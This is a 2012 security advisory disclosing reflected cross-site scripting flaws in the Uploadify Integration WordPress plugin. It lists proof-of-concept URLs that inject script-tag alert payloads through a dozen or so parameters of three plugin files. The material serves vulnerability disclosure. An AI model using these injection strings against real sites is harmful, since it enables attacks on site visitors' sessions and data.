[waraxe-2012-SA#085] - Reflected XSS in Uploadify Integration Wordpress plugin

Author: Janek Vind "waraxe"
Date: 06. April 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-85.html

Description of vulnerable software:

Uploadify Integration allows you to insert a jQuery uploadify uploader into your
forms. Features: Uses jQuery Uploadify, Automatically saves to post meta, user
meta, an option, or temporary depending on the metaType selected by the shortcode.
Allows more than one shortcode per page.

http://wordpress.org/extend/plugins/uploadify-integration/


Vulnerable versions

Affected is Uploadify Integration 0.9.6, older versions may be affected as well.

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1. Reflected XSS vulnerability in "views/scripts/shortcode/index.php"
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Reason: outputting html data without proper encoding
Attack vector: user submitted GET or POST parameters
Preconditions: "register_globals=On"
Result: XSS attack possibilities

Tests:

http://localhost/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?inputname="><script>alert(String.fromCharCode(88,83,83))</script>

http://localhost/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?buttontext="><script>alert(String.fromCharCode(88,83,83))</script>

http://localhost/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?filetypeexts="><script>alert(String.fromCharCode(88,83,83))</script>

http://localhost/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?filetypedesc="><script>alert(String.fromCharCode(88,83,83))</script>

http://localhost/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?filesizelimit="><script>alert(String.fromCharCode(88,83,83))</script>

http://localhost/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?uploadmode="><script>alert(String.fromCharCode(88,83,83))</script>

http://localhost/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?metatype="><script>alert(String.fromCharCode(88,83,83))</script>

http://localhost/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?parentid="><script>alert(String.fromCharCode(88,83,83))</script>

http://localhost/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?path="><script>alert(String.fromCharCode(88,83,83))</script>

http://localhost/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?url="><script>alert(String.fromCharCode(88,83,83))</script>

Result: XSS payload execution can be observed

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2. Reflected XSS vulnerability in "views/scripts/partials/file.php"
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Reason: outputting html data without proper encoding
Attack vector: user submitted GET or POST parameters
Preconditions: "register_globals=On"
Result: XSS attack possibilities

Tests:

http://localhost/wp331/wp-content/plugins/uploadify-integration/views/scripts/
partials/file.php?fileid="><script>alert(String.fromCharCode(88,83,83))</script>

http://localhost/wp331/wp-content/plugins/uploadify-integration/views/scripts/
partials/file.php?inputname="><script>alert(String.fromCharCode(88,83,83))</script>

Result: XSS payload execution can be observed

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3. Reflected XSS vulnerability in "views/scripts/file/error.php"
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Reason: outputting html data without proper encoding
Attack vector: user submitted GET or POST parameters
Preconditions: "register_globals=On"
Result: XSS attack possibilities

Tests:

http://localhost/wp331/wp-content/plugins/uploadify-integration/views/scripts/
file/error.php?error="><script>alert(String.fromCharCode(88,83,83))</script>

Result: XSS payload execution can be observed

Contact:

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Janek Vind "waraxe"

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